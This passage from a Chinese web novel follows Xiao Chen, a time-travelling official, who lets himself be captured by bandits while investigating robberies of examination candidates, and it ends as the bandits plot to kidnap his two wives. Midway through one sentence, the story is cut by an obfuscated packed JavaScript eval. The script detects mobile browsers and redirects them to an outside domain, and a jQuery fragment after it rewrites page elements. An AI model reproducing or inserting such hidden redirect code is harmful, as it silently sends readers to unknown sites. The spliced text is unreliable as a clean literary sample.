而在这里,李傲雪和丁香虽是女子,却与他以夫妻相称。若是她们知道,自己倾心相待的“丈夫”,灵魂其实是个女子……肖晨不敢深想,只觉得后背发凉。 “在想什么?”李傲雪见他出神,抬头问道。 “没什么。”肖晨回过神,捏了捏她的脸颊,笑道,“在想明天带你们去尝尝东街的冰糖葫芦,听说新出了山楂夹核桃的。” 李傲雪这才笑了,眼里的忧色淡了些:“好啊,丁香肯定喜欢。” 正说着,丁香端着刚温好的茶进来,见两人依偎着,脸微微一红,把茶放在桌上就要走。 “别走,一起坐。”肖晨拉住她的手,让她坐在自己另一边,“刚还说要带你去吃冰糖葫芦呢。” 丁香眼里瞬间亮了,笑着点头:“嗯!” 看着两人脸上的笑意,肖晨心里暗暗打定主意:不管是现代的偏见,还是这里的秘密,他都要守好。只要能让她们安稳笑着,他什么都愿意担着。 李傲雪看着肖晨眼底一闪而过的恍惚,伸手轻轻抚上他的脸颊,语气带着小心翼翼的认真:“少爷,我知道你心里有时会装着别的事。不管怎样,我都会守好咱们这个家,守着你和丁香。” 她顿了顿,像是下定了很大的决心,声音低了些:“要是……要是你那个‘老家’让你惦记,想去看看也没关系。只是……只是别忘了回来,好不好?” 肖晨的心猛地一揪。他知道,李傲雪一直以为,他偶尔提起的“现代”,不过是梦里的幻境,是他偶尔失神时的念想。她从不知道,那是他真正的来处,是他灵魂的根。更不知道,他每次“回去”,不过是短短半小时的闪现,像偷来的时光,转瞬即逝。 他握住她抚在自己脸上的手,指尖传来她掌心的温度,眼眶有些发热:“傻话。这里才是我的家啊。” 他望着她澄澈的眼睛,语气无比郑重:“那个地方……不过是偶尔闪过的影子,哪有这里实在?有你,有丁香,有热饭热菜,有这院子里的月光,才是我想守着的日子。” 李傲雪看着他认真的模样,悬着的心渐渐落了下来,眼里漾起笑意:“真的?” “真的。”肖晨低头,在她额头印下一个轻吻,“我答应你,不管去什么地方,都会回来。回这个家,回你身边。” 一旁的丁香也连忙点头,用力握住他的另一只手:“公子说会回来,就一定不会骗我们的!” 肖晨看着两人信赖的眼神,心里又是暖又是涩。他没法解释那短短半小时的穿越有多仓促,更没法说清两个时空的距离有多遥远。他能做的,只有把这个承诺牢牢刻在心里。 “好了,别想这些了。”他笑着揉了揉两人的头发,“明天去买冰糖葫芦,还要不要去看杂耍?听说南街来了个耍猴的,很是热闹。” 李傲雪立刻被转移了注意力,眼睛亮起来:“好啊!丁香肯定爱看!” 丁香也用力点头,脸上露出期待的神情。 肖晨看着她们重新舒展的眉眼,悄悄松了口气。有些秘密注定要独自承担,但只要能让她们安心,这点沉重,又算得了什么。 夜渐渐深了,三人依偎着靠在榻上,听着窗外的虫鸣。肖晨知道,无论他来自哪里,此刻身边的温度,才是最真实的归宿。 68.以身涉险,让人不寒而栗 一大早,肖晨便来到吏部,刚在公房坐定,整理好昨日的卷宗,张大人便推门进来,脸色带着几分凝重。 “肖主事,今日有桩新案子,得你去跑一趟。”张大人在他对面坐下,指尖在桌面上轻轻敲了敲。 肖晨连忙起身:“请大人示下,不知是何案件?” “是关于今年科举的事。”张大人叹了口气,语气沉了下来,“近一个月,不少赴京赶考的读书人,在城外官道上被一伙强盗劫了。他们带的盘缠、书籍被洗劫一空,有的连身上的长衫都被扒了去,根本没办法继续赶路参加考试,只能自认倒霉,打道回府。” 肖晨皱起眉:“劫道的强盗虽常见,但专抢读书人,倒是稀奇。” “这还不是最怪的。”张大人补充道,“据报案的几个书生说,这伙强盗武功路数很杂,却个个身手不弱,尤其擅长近身缠斗。有个会些粗浅拳脚的书生想反抗,没两下就被打翻在地,胳膊都折了,却没伤他性命,只抢东西。” 他顿了顿,说出更关键的细节:“更蹊跷的是,他们好像对读书人的行囊格外熟悉——一翻一个准,盘缠藏在夹层里都能被找出来,却对同行商人的财物视而不见。有次甚至放过了一个带了重金的盐商,只把旁边两个书生抢得干干净净。” 肖晨心头一动:“专挑读书人下手,武功不弱,还懂如何搜找财物……这伙人不像是寻常山匪。” “正是如此。”张大人点头,“科举是朝廷大事,耽误了学子前程,传出去也损了朝廷颜面。此事已报给京兆尹,咱们吏部虽不主抓刑案,但这些学子的功名前程关乎选官,也得掺和一把。你年轻,手脚麻利,去城外几个出事的路段查查,看看能不能找到些线索,和京兆尹那边的人对接上。” “是,下官遵命。”肖晨拱手应下,心里已开始盘算——这伙强盗专抢读书人,是为财,还是另有目的?为何武功高强却只劫财不伤人?又怎么对读书人的习性如此了解? 张大人又叮嘱道:“那伙人出没不定,多在黄昏时分动手,你带人去查时,务必小心,别硬碰硬。先摸清他们的踪迹和路数,再做打算。” “下官明白。” 送走张大人,肖晨立刻叫上两个熟悉城外路况的衙役,换上便服,带上兵刃,往城外官道赶去。马车行驶在秋日的郊野,两旁的树木落了满地金黄,他却没心思欣赏景致,只在心里反复琢磨着案件的细节——这伙强盗的目标如此明确,行事又带着几分诡异,背后恐怕不简单。 他得尽快查出眉目,不能让更多学子错过了十年寒窗盼来的科举机会。 连着几日,肖晨带着衙役在城外几条出事的官道上巡查,却连强盗的影子都没撞见。他们扮作赶路的商人,见过形形色色的路人,有运货的脚夫,有走亲的农户,甚至有带着家眷的富户,都安然无恙。 可只要碰到背着书箧、一身长衫的读书人,不出半日,总会传来被劫的消息。 “大人,这伙人也太邪门了。”随行的衙役忍不住嘀咕,“专挑读书人下手,连带着书都抢,难不成他们还想自己考科举?” 肖晨望着远处蜿蜒的官道,眉头紧锁。他也觉得纳闷——若是单纯为财,富商的油水显然更多;可若说有人故意要阻止学子参加科举,这做法又太过蹊跷。 “若是想阻碍人才,该盯着那些才名在外的举子才对。”他喃喃自语,“可这伙人不管好坏,只要是读书人就抢,连家境贫寒、只带了几串铜钱的穷书生都不放过。” 这根本不是有针对性地打压,反倒像在……清扫? 他想起那些被抢的学子描述,强盗们动作利落,只抢财物和书籍,不伤人命,甚至连身上的玉佩、扇子之类的小物件都不碰,仿佛目的极其单一。 “大人,您说会不会是……有什么人不想让太多人参加科举?”另一个衙役猜测,“今年报考的人数比往年多了近三成,若是刷掉一批,考场压力也小些?” 肖晨摇了摇头:“朝廷巴不得广纳贤才,哪会做这种事。再说,真要如此,大可在报名时设限,何必用这等下三滥的手段,传出去反而动摇人心。” 他蹲下身,看着路边被踩踏的草丛——前几日有个书生在此处被劫,地上还留着挣扎的痕迹。强盗的脚印很深,步幅极大,显然是练家子,而且人数不少。 “怪就怪在,他们武功不弱,却偏偏盯着最没反抗能力的读书人。”肖晨站起身,目光沉沉,“这背后一定有我们没看透的缘由。” 他忽然想起一件事,转身对衙役道:“去查查,这些被抢的书生,有没有什么共同点?比如,都来自同一个州府?或是都报了同一科的考试?” 衙役愣了愣:“这……倒没细问。” “去查清楚。”肖晨语气肯定,“若真是随机抢劫,不会如此执着。这伙人,怕是在找什么,或者说,在筛选什么。” 夕阳西下,官道上的影子被拉得很长。肖晨望着远方,心里隐隐有种预感——这伙强盗的目标,或许根本不是钱财,也不是阻止科举,而是藏在这些读书人里的某一样东西,或是某一个人。 而他们抢遍所有书生,不过是为了不漏掉那个“目标”罢了。 肖晨打定主意后,换了身洗得发白的粗布长衫,背上一捆旧书,故意选了条近日常有劫案的官道,慢悠悠往城外走。他一边走,一边低声背着《论语》,刻意摆出一副文弱书生的模样。 果然,刚走到一片树林旁,迎面就窜出三个黑衣汉子,个个面露凶光,手里握着短刀。 “站住!”为首的刀疤脸喝了一声,眼神在他背上的书捆上扫了一圈,“把值钱的都交出来!” 肖晨故作惊慌,往后缩了缩,手却悄悄按在腰间——那里藏着把短匕,是他防身用的。他会些基础拳脚,是穿越过来后跟着府里护院学的,对付寻常混混还行,可这三人站姿稳健,眼神凌厉,一看就是硬手。 “几位好汉,我……我就带了几本书,盘缠早就被偷了……”他故意颤着声音说。 刀疤脸冷笑一声:“少装蒜!读书人哪个身上不带点压箱底的钱?搜!” 另两人立刻上前,粗暴地翻他的行囊。书被扔了一地,身上仅有的几枚铜板也被搜走。 “就这点东西?”刀疤脸皱眉,一脚踹在书捆上,“看来是个穷酸。” 肖晨见他们要走,反而挺直了些腰板,故意激道:“你们抢了我也没用!只要我没死,哪怕一路乞讨,也得去京城参加科举!” 刀疤脸猛地回头,眼里闪过狠劲:“你不怕我杀了你?” “怕?”肖晨梗着脖子,故意摆出倔强的样子,“孔曰成仁,孟曰取义,读书人求的是前程,死有何惧?” 刀疤脸盯着他看了半晌,忽然笑了,笑声里带着邪气:“好个嘴硬的书生。杀了你?那太便宜你了。” 他冲手下使了个眼色:“这小子骨头硬,带回去!让他做奴隶,天天劈柴挑水,我倒要看看,他还怎么读书,怎么去京城!” 两个手下立刻上前,反剪了肖晨的胳膊。肖晨假意挣扎了几下,心里却暗暗松了口气——果然如他所料,这伙人不想要他的命,而是想彻底断了他的科举路。 被推搡着往树林深处走时,他悄悄记下路线。林子里藏着个隐蔽的山洞,洞口用藤蔓遮掩,里面竟关着十几个和他一样的书生,个个面黄肌瘦,身上带着伤痕。 “又来一个。”有个书生有气无力地说。 刀疤脸把肖晨扔进洞,吩咐手下:“看好了,别让他们跑了。尤其是这个,嘴硬得很,多‘关照’关照。” 洞口被重新堵上,只剩微弱的光线透进来。肖晨靠在石壁上,看着周围绝望的书生们,心里却更确定了——这伙人不是为财,是在刻意囚禁读书人。 他们到底想做什么? 肖晨刚站稳,角落里一个胡子拉碴的书生就凑过来,声音沙哑:“这位兄台,你怎么也被抓进来了?” “说来惭愧,在路上被他们堵住,几句话不对付就被绑来了。”肖晨打量着他,见他长衫上满是污渍,脸上还有淤青,“看各位兄台的样子,是受了不少苦?” 那书生苦笑一声,指了指周围:“何止是苦。这伙强盗不知发的什么疯,见了我们就像见了仇人,稍有不顺就打骂,还天天指着鼻子骂我们‘酸儒’‘废物’,说读书有什么用,还不是任他们拿捏。” 旁边一个年轻些的书生忍不住插话,声音带着哭腔:“我们哪敢违抗?家里爹娘还等着我们考中功名光宗耀祖呢……可现在被关在这里,连出去的日子都不知道,更别提科举了。” 肖晨心里一沉,又追问:“你们可知他们抓我们来,到底是为了什么?是想要赎金吗?” “不像。”最早说话的书生摇头,“我们被抓来快半个月了,从没见他们派人去家里送信要赎金,也没问过我们的家世背景。每日就给些残羹冷炙,让我们干些劈柴挑水的活,像是……像是故意磋磨我们的志气。” 另一个戴方巾的书生也道:“我观察过,他们对我们的书格外厌恶,有次还把一个兄台的文章烧了,说‘这些破纸还不如擦屁股’。可他们对钱财好像也不那么上心,抢来的盘缠就随意扔在洞口的箱子里,倒像是……单纯见不得我们读书人好过。” 肖晨默不作声地听着,手指无意识地摩挲着袖角。痛恨读书人,不图财,不索赎,只一味羞辱囚禁……这伙人的动机越来越可疑。 他忽然想起张大人说的“这伙人武功路数很杂”,心里隐隐有了个猜测——会不会是些落第的秀才,因科举不顺而迁怒于人?可若真是如此,怎会有这般高强的武功? “各位兄台,”肖晨压低声音,“你们被抓的时候,有没有注意到他们的口音?或是身上有什么特别的记号?” 众人面面相觑,摇了摇头。 “当时太慌了,哪顾得上这些。” “他们都蒙着脸,只露着眼睛。” 肖晨叹了口气,不再多问,只在心里盘算着。看来想从这些书生嘴里找到线索是难了,只能自己想办法探探这伙人的底细。 洞外传来脚步声,是看守的强盗送水来了,嘴里还骂骂咧咧:“一群废物,喝了水赶紧去劈柴,别等着老子动手!” 书生们立刻噤声,低下头不敢言语。肖晨也顺势蹲下,眼角的余光却紧紧盯着那强盗的手腕——那里好像有块淡青色的印记,像是刺青,又不太清晰。 等强盗走远,他才悄悄松了口气。至少,有了点微不足道的线索。 他看着洞里绝望的面孔,心里暗下决心:无论如何,都要想办法出去,不仅是为了查案,更是为了这些被耽误了前程的读书人。 天色彻底暗了下来,肖府的灯一盏盏亮起,却照不亮李傲雪和丁香脸上的焦灼。 “都这个时辰了,公子怎么还没回来?”丁香站在门口,踮着脚望了又望,手指绞着围裙,指节都泛了白。 李傲雪的心也沉得厉害,平日里肖晨再晚归,也会让人捎个信。她转身对管家道:“去,立刻派人去吏部问问,看少爷是不是还在忙公务。” 管家不敢耽搁,匆匆去了。半个时辰后,派去的小厮气喘吁吁地跑回来,脸色发白:“少夫人,丁姑娘,吏部的人说……说肖大人午时就离了衙门,说是要亲自去城外查案,还说……说是故意让强盗抓了去,好探底细!” “什么?!”李傲雪身子一晃,险些站不稳,丁香连忙扶住她,自己的声音也带着哭腔:“怎么能以身涉险呢?那些强盗那么凶……” “不行,我们得去找他!”李傲雪定了定神,眼里闪过一丝决绝,“管家,备车,去京兆尹府!” 马车在夜色中疾驰,两人赶到京兆尹府时,府里还亮着灯。通报的人很快出来,引她们去了书房。 京兆尹见是她们,也有些意外,起身道:“两位夫人深夜到访,可是为了肖主事的事?” “京兆尹大人,”李傲雪福了福身,声音带着压抑的颤抖,“我们听说少爷被强盗抓了,求您救救他!” 丁香也跟着跪下:“求大人发发慈悲,那些强盗那么凶狠,公子他……” 京兆尹连忙扶起她们,叹了口气:“两位夫人放心,肖主事是为查案才出此下策,我们早已派人在附近布控,只是还没摸清那伙强盗的老巢和人数,不敢轻举妄动,怕打草惊蛇,伤了肖主事和其他被抓的书生。” “可……可他在里面多待一刻,就多一分危险啊!”李傲雪眼圈泛红,“那些人专抢读书人,还对他们又打又骂,少爷性子刚,万一和他们起了冲突……” “我们都明白。”京兆尹沉声道,“方才已有线人传回消息,说肖主事暂时无恙,只是被关在山洞里。我们正在制定营救计划,最快明日拂晓就动手,定能将人平安救出来。” 他看着两人担忧的模样,又道:“两位夫人请回吧,在这里等着也无济于事。有消息,我会第一时间派人去府里通报。” 李傲雪知道他说的是理,可心里的担忧丝毫未减。她紧紧攥着袖角,指尖冰凉:“那就劳烦大人了,务必……务必保证他的安全。” “放心,这是自然。” 离开京兆尹府,马车往回赶。车厢里一片沉默,只有丁香压抑的啜泣声。李傲雪望着窗外漆黑的夜色,心里像被什么东西揪着,疼得厉害。 她在心里一遍遍默念:少爷,你一定要平安无事,等我来接你。 夜风吹过车窗,带着寒意,却吹不散两人心头的焦虑。这一夜,注定无眠。 夜色渐深,山洞外传来一阵杂乱的脚步声和醉醺醺的笑骂。几个土匪踹开洞口的藤蔓,提着酒壶闯了进来,酒气熏得人发晕。 “都给老子滚出来!”刀疤脸把空酒壶往地上一摔,碎片溅得到处都是,“大爷们心情好,赏你们口饭吃!” 十几个书生被粗暴地推搡着赶到山洞外的一片空地上,那里堆着些残羹剩饭,馊味混着酒味,刺鼻得很。 “跪下!”一个土匪扬着鞭子,“给大爷们磕个头,就有饭吃!” 书生们吓得瑟瑟发抖,有几个胆小的,犹豫着就要跪下。 “凭什么跪你们?”肖晨忽然开口,声音不大,却让所有人都愣住了。他站在人群里,脊背挺得笔直,哪怕衣衫破旧,眼神里也没有半分怯懦。 刀疤脸眯起眼,醉意醒了大半:“你说什么?” “我说,我们是人,不是任你们糟践的牲口。”肖晨迎上他的目光,一字一句道,“要杀要剐随便,但想让我们丢了尊严下跪,不可能。” “好个硬骨头!”刀疤脸像是被激怒,又像是来了兴致,忽然拍了拍手。两个手下立刻抬来一把锈迹斑斑的闸刀,刀刃在月光下闪着寒光。 他指着闸刀,冲肖晨狞笑:“小子,有骨气啊?那敢不敢站到这刀跟前?” 肖晨没说话,径直走到闸刀前站定。 刀疤脸绕着他走了一圈,手里把玩着短刀:“你就不怕?这刀下去,脑袋可就没了。” 肖晨抬眼,直视着他:“怕?怕就会让你们放过我们吗?怕就不用做奴隶了吗?”他笑了笑,带着几分自嘲,却更多的是坦然,“我读的书里,可没教过‘怕’字怎么写。” “好!好得很!”刀疤脸被他激起了凶性,猛地按住闸刀的木柄,“老子倒要看看,是你的嘴硬,还是老子的刀硬!” 周围的书生吓得闭上了眼,连几个土匪都屏住了呼吸。 肖晨却轻轻闭上眼,心里闪过的不是恐惧,而是李傲雪和丁香的笑脸。他想,若是真的死在这里,她们会不会哭?会不会……忘了他? “动手!”刀疤脸暴喝一声,猛地就要按下闸刀—— “大哥!”旁边一个瘦高的土匪忽然拉住他,凑到他耳边低声说了几句。 刀疤脸的动作顿住,盯着肖晨看了半晌,忽然松开手,一脚踹在闸刀上:“妈的,扫兴!” 他指着肖晨,恶狠狠地说:“今天暂且留你一命!等老子明天酒醒了,再慢慢陪你玩!” 说罢,他挥了挥手:“把他们都带回去!饿死这伙不识抬举的酸儒!” 肖晨被重新推回山洞时,后背已被冷汗浸湿。他靠在石壁上,大口喘着气,才发现自己的手一直在抖。 他不是不怕,只是不能怕。若是连他都软了,这些书生怕是真的要被磨掉所有骨气了。 黑暗中,有个书生悄悄挪过来,递给他一块干硬的饼:“兄台……谢谢你。” 肖晨接过饼,咬了一口,粗糙的口感刺得喉咙发疼,心里却渐渐生出一股劲。 他一定能出去,一定能。 山洞外的空地上,几个土匪正拎着鞭子来回踱步,目光警惕地盯着洞口。而在不远处的一间简陋石屋里,二当家正对着几个心腹低声吩咐,脸上没了往日的嚣张,多了几分凝重。 “刚才大当家在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166517|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗处瞧得清楚,”二当家敲着桌面,声音压得很低,“那个新来的书生,不一般。硬气,不怕死,眼神里藏着东西,不像是普通的酸儒。” 一个土匪嗤笑一声:“再硬气又能怎样?还不是被咱们关着?” “蠢货!”二当家瞪了他一眼,“你没瞧见他看闸刀的眼神?那不是吓傻了,是真不怕!这种人要么是愣头青,要么就是有依仗。咱们现在被官府盯着,可不能出岔子。” 他顿了顿,想起方才大当家临走时的吩咐,又道:“大当家说了,这小子不对劲。你们几个,天亮后悄悄去查查他的底细——是哪个州府来的,家里是做什么的,来京城除了赶考还有没有别的事。” “查这个干嘛?”另一个土匪不解,“管他是谁,关到科举结束,扔出去就是了。” “少废话!”二当家沉下脸,“让你查就查!这阵子官府查得紧,京兆尹的人在城外转了好几圈,咱们能藏到现在全靠小心。这小子要是官府派来的细作,咱们的老巢就完了!” 这话一出,石屋里顿时安静下来。几个土匪脸上都露出忌惮之色——他们不怕书生,却怕官府的刀兵。 “是,小的们这就去办。”一个精瘦的土匪连忙应道,“咱们在城里有眼线,问问那些客栈、茶馆,说不定能查到些眉目。” 二当家点点头,又叮嘱:“记住,别打草惊蛇。若是查不出什么,就当他是个普通书生;若是真有问题……”他做了个抹脖子的手势,眼神狠厉,“就地解决,别留后患。” “明白!” 几个土匪悄无声息地退了出去,石屋里只剩下二当家一人。他走到窗边,望着洞口的方向,眉头紧锁。这阵子官府的动静越来越大,他心里本就发虚,如今又冒出个“不一般”的书生,总觉得像是有什么事要发生。 “但愿是我多心了。”他喃喃自语,伸手摸了摸腰间的短刀。 而被他们惦记着的肖晨,此刻正靠在山洞的石壁上,闭着眼假装休息,耳朵却警惕地听着外面的动静。方才土匪的脚步声、低语声隐约传来,虽然听不真切,但那股紧绷的气氛,他却能感觉到。 看来,自己这“硬气”的举动,果然引起了他们的怀疑。 也好。 肖晨嘴角勾起一抹不易察觉的弧度。怀疑就好,怀疑才会露出破绽。 他耐心地等着,等着天亮,等着那些去查他底细的土匪,更等着京兆尹那边约定好的信号。 天刚蒙蒙亮,去城里打探的土匪心腹就揣着一卷画纸,气喘吁吁地跑回了山寨。他连口水都顾不上喝,一把推开二当家的房门,声音发颤:“二当家!查到了!那小子……那小子来头太大了!” 二当家正对着油灯搓着草绳,闻言猛地抬头:“说清楚!到底是什么来头?” 心腹展开画纸,上面是肖晨被抓时的模样——虽衣衫凌乱,眉眼间的气度却藏不住。“小的拿着画像去城里转了一夜,先听他口音像京城本地人,就去几家常有名士聚集的茶馆打听。有个老茶博士说,这模样看着眼熟,像是前阵子诗会上见过的贵人。” 他咽了口唾沫,压低声音:“后来小的找到几个常去诗会的读书人,塞了些银子,他们才肯说——这小子根本不是来赶考的穷书生,是京城首富肖家的独子!前些日子刚中的新科状元,现在在吏部当主事,官阶不低!” “什么?!”二当家手里的草绳“啪”地断了,他霍然起身,眼睛瞪得像铜铃,“状元?吏部主事?咱们……咱们把朝廷命官给绑了?” 门外几个土匪听到动静,涌了进来,一听这话,顿时炸了锅。 “他娘的!这小子竟敢骗咱们!” “怪不得那么硬气,原来是官老爷!” “杀了他!不能留!不然官府非把咱们扒皮抽筋不可!” 一个性急的土匪已经抄起了刀,就要往山洞冲:“老子现在就去劈了他!” “站住!”二当家猛地喝住他,额头上青筋直跳,却强迫自己冷静下来,“杀了他?你嫌咱们死得不够快?” 他来回踱了几步,声音发沉:“你们傻了?他是吏部主事,是朝廷命官!咱们把他杀了,官府还不得倾巢而出踏平这山头?到时候谁也跑不了!” “那……那怎么办?”有人慌了神,“总不能一直关着吧?” “关着,必须关着!”二当家眼神一厉,拍了下桌子,“不仅要关着,还得好吃好喝伺候着!他现在就是咱们的护身符——官府知道他在咱们手里,投鼠忌器,就不敢轻易动手!” 他转向那个心腹:“你再去城里探探风,看看官府那边有什么动静。记住,千万别让人发现你的踪迹。”又冲其他土匪道,“都给我警醒点!把洞口守得严严实实的,但谁也不许再动那肖主事一根手指头,更不能提他的身份——就当什么都不知道!” 土匪们面面相觑,虽满心不甘,却也知道二当家说得在理,只能悻悻地应下。 而山洞里的肖晨,正借着微弱的光线,在石壁上悄悄刻画着什么。他能感觉到外面的气氛比昨夜更紧张,脚步声也密集了许多,心里隐隐猜到——自己的身份,恐怕已经暴露了。 这倒是省了些功夫。 他停下笔,望着石壁上那些歪歪扭扭的记号——那是他根据记忆画出的山寨布局,以及守卫换班的时间。 现在,就等京兆尹那边的消息了。 只要土匪还忌惮他的身份,他就还有时间。 几个土匪走进山洞,粗鲁地将肖晨架了出去。阳光刺眼,他眯了眯眼,只见二当家站在空地上,身后跟着十几个手下,个个眼神不善。 “肖大人,好手段啊。”二当家皮笑肉不笑地盯着他,“扮成穷书生混进来,是想断我们的后路?” 肖晨站稳身子,掸了掸衣襟上的尘土,语气平静:“我是朝廷命官,查案是本分。倒是你们,专抢赶考书生,断人前程,就不觉得良心不安?” “良心?”二当家像是听到了天大的笑话,仰头笑了起来,笑声里满是嘲讽,“肖大人是状元出身,自然和那些读书人一路货色。你懂什么?” 他猛地收住笑,眼神变得阴鸷:“你以为他们真是满口仁义道德的君子?我告诉你,当年我爹就是被一个读书人坑了——那人拿着我家的救命钱去赶考,中了官就翻脸不认人,害得我家破人亡!” 旁边一个土匪也跟着骂道:“还有我!我妹妹被一个秀才骗了身子,他转头就娶了县太爷的女儿,我妹妹最后……最后投河死了!” “这些酸儒,表面清高,心里比谁都脏!”二当家越说越激动,指着肖晨的鼻子,“他们读的书,不过是用来踩别人、往上爬的梯子!我们抢他们,就是要让他们也尝尝被人踩在脚下的滋味!” 肖晨静静地听着,眉头微蹙。他没想到这伙人对读书人竟有如此深的恨意,看来背后藏着不少恩怨。 “个别败类,不能代表所有读书人。”他沉声道,“寒窗苦读的书生里,有不少是心怀家国、想做实事的人。你们因为过去的仇恨,就不分青红皂白地报复所有读书人,和那些害了你们的人,又有什么区别?” “少跟老子讲大道理!”二当家被戳到痛处,怒喝一声,“今天我就把话撂在这——要么,你让官府撤了追查,放我们一条生路;要么,你就和这些穷书生一起,在这里待到死!” 肖晨看着他眼底的疯狂,知道多说无益。他挺直脊背,淡淡道:“我是朝廷命官,护佑百姓是职责。让我徇私放你们走,不可能。” “好!好得很!”二当家气得发抖,“看来不动真格的,你是不知道厉害!” 他冲手下使了个眼色:“把他关到最里面的石牢里,没我的命令,谁也不许给他送水送饭!我倒要看看,这位状元爷的骨头,到底有多硬!” 肖晨被重新推搡着往山后走,路过关押其他书生的山洞时,他瞥见那些人担忧的眼神,轻轻摇了摇头。 走到石牢门口,他忽然停下脚步,回头看向二当家:“你们恨的是害了你们的人,不是读书本身。若真有骨气,该去找仇人报仇,而不是拿无辜书生撒气。” 二当家脸色铁青,没再说话,转身拂袖而去。 沉重的铁门“哐当”一声关上,肖晨陷入一片黑暗。他靠在冰冷的石壁上,心里却异常清明——这伙人的弱点,他找到了。 恨意背后,往往藏着更深的痛苦。而痛苦,或许就是突破口。 69.我们两个有这么重要吗 石牢的铁门被拉开时,阳光斜斜地照进来,在地上投下一道狭长的光带。肖晨眯着眼适应了片刻,见二当家站在门口,手里把玩着一把匕首,神色复杂。 “想明白了吗?”二当家侧身让他出来,语气里带着几分不易察觉的疲惫,“只要你点头留下来,我保你活着。这山寨虽比不得吏部衙门,却也能让你衣食无忧。” 肖晨走出石牢,一夜未进水米,喉咙干得发疼,脚步却依旧稳健。他看着二当家,缓缓道:“我昨天说过,我不怕死。” 他顿了顿,目光扫过山寨里那些简陋的木屋和晒在绳上的兽皮,继续道:“冤有头,债有主。你们当年受了冤屈,该找的是那些害了你们的败类,而不是把所有读书人都当成仇敌。” 二当家忽然笑了,笑声里带着狠戾和一丝扭曲的快意:“找?我们找了整整五年。” 他抛了抛手里的匕首,金属碰撞声在空地上格外刺耳:“前年冬天,我们终于把那骗了我爹救命钱的狗官堵在了城外的破庙里。他当时正搂着窑姐喝花酒,看见我们就跪地求饶,说愿意把家产都给我们。” “我们信了吗?”二当家猛地提高声音,眼里迸出凶光,“我们把他拖到乱葬岗,让他跪在我爹的牌位前,一刀一刀剐了他的肉!他哀嚎了三天三夜,最后变成了野狗的口粮!” 旁边一个络腮胡土匪也接口道:“还有骗了我妹妹的那个秀才,中了举就以为没人能奈何他?我们扮成轿夫,在他赴任的路上把他敲晕,扔进了河里喂鱼!他那县太爷的岳丈派人查了半年,连个尸首都没找到!” “我们谁也没放过。”二当家盯着肖晨,一字一句道,“凡是当年踩过我们、害过我们的,不管他当了官还是发了财,我们都一个一个找出来,让他们死得比谁都难看。” 他忽然凑近肖晨,压低声音,语气里带着股血腥味:“你以为我们是随便抢人?那些被我们劫的书生里,有几个是那狗官的门生,还有两个是那秀才的同乡——他们当年可都跟着主子风光过,凭什么现在还能安安稳稳去考科举?” 肖晨心头一震,原来这些抢劫并非全无缘由,竟是掺杂着如此扭曲的报复。 “可更多的人是无辜的。”他沉声道,“那些寒门学子,十年寒窗只为一个机会,你们断了他们的路,和当年害你们的人,又有何异?” “无辜?”二当家嗤笑,“这世上哪有那么多无辜?当年我家破人亡时,怎么没人说我无辜?我妹妹投河时,那些围观的人还在说她活该!” 他猛地推开肖晨,转身走向木屋:“别再跟我讲大道理。要么留下,要么就等着和那些‘无辜’的书生一起烂在石牢里。” 肖晨站在原地,看着二当家的背影,心里五味杂陈。这伙人被仇恨裹挟,早已分不清报复和滥杀的界限,他们的痛苦是真的,可犯下的罪孽也是真的。 阳光渐渐升高,晒得人皮肤发烫。他知道,不能再等了。再拖下去,不仅自己和这些书生危险,恐怕还会有更多无辜者被卷入这场扭曲的报复里。 几个心腹土匪凑到二当家身边,脸上带着阴恻恻的笑:“二哥,那姓肖的骨头硬,不肯留下,咱们不如换个法子——逼他留!” 二当家皱眉:“怎么逼?他连死都不怕。” “他是不怕死,可他总有软肋吧?”一个三角眼的土匪压低声音,“小的们去城里打听时,听肖府的下人说,这位肖大人对家里的两位夫人宝贝得紧,几乎是言听计从,走哪都惦记着。” 他搓了搓手,眼里闪着算计的光:“咱们只要把他那两位夫人弄到山上来,攥在手里当王牌,还怕他不乖乖听话?到时候别说让他留下,就是让他给咱们当军师,他也得点头!” 二当家眼睛一亮,这主意像是戳中了他的心思。他之前只想着用肖晨牵制官府,倒忘了从他身边人下手——再硬的骨头,碰上在乎的人,也得软三分。 “这法子……可行。”他摸着下巴,沉吟片刻,“肖府在京城,守卫怕是不弱,能轻易得手吗?” “放心!”三角眼拍着胸脯,“小的已经摸清了,他那两位夫人昨儿还去京兆尹府打听消息,看样子急得很,说不定会亲自出城来找。咱们只要在城外设个埋伏,找几个会迷药的兄弟,保准能把人悄无声息地带回来。” 旁边的土匪也跟着附和:“就是!女人家胆子小,到了这山寨,还不是任由咱们拿捏?到时候把人一关,姓肖的还能不怂?” 二当家咬了咬牙,猛地一拍大腿:“好!就这么办!” 他眼神一厉,冲三角眼道:“你带五个手脚利落的兄弟,现在就下山!记住,要活的,别伤了人——伤了她们,姓肖的狗急跳墙,对咱们没好处。” “明白!”三角眼应得干脆,转身就招呼人,“走!抄家伙,下山!” 看着他们匆匆离去的背影,二当家走到石牢门口,望着里面闭目养神的肖晨,嘴角勾起一抹冷笑。 肖晨啊肖晨,你不是讲仁义、重情义吗?等你的夫人到了这儿,我倒要看看,你还能不能硬气得起来。 而石牢里的肖晨,虽听不清外面的对话,却隐约感觉到一股不祥的气息。方才那几个土匪的笑声太刺耳,二当家的眼神也太过阴狠,像是在谋划什么。 他心里猛地一紧,第一个念头就是李傲雪和丁香。 她们……不会出事吧? 一股寒意顺着脊椎爬上来,他猛地睁开眼,用力摇晃着牢门的铁栏杆:“喂!你们想干什么?!” 外面的守卫瞥了他一眼,啐了一口:“老实待着!吵什么吵!” 肖晨的心沉到了谷底。他知道,自己最担心的事情,可能要发生了。 李傲雪和丁香正站在城外一处茶寮旁,望着通往山寨的方向焦急等待。京兆尹说今日拂晓便会动手,可天已大亮,却迟迟没有消息传来。 “少夫人,要不我们再去京兆尹府问问?”丁香攥着衣角,声音发颤。 李傲雪刚要点头,身后忽然传来几个低沉的声音:“两位夫人,别等了。” 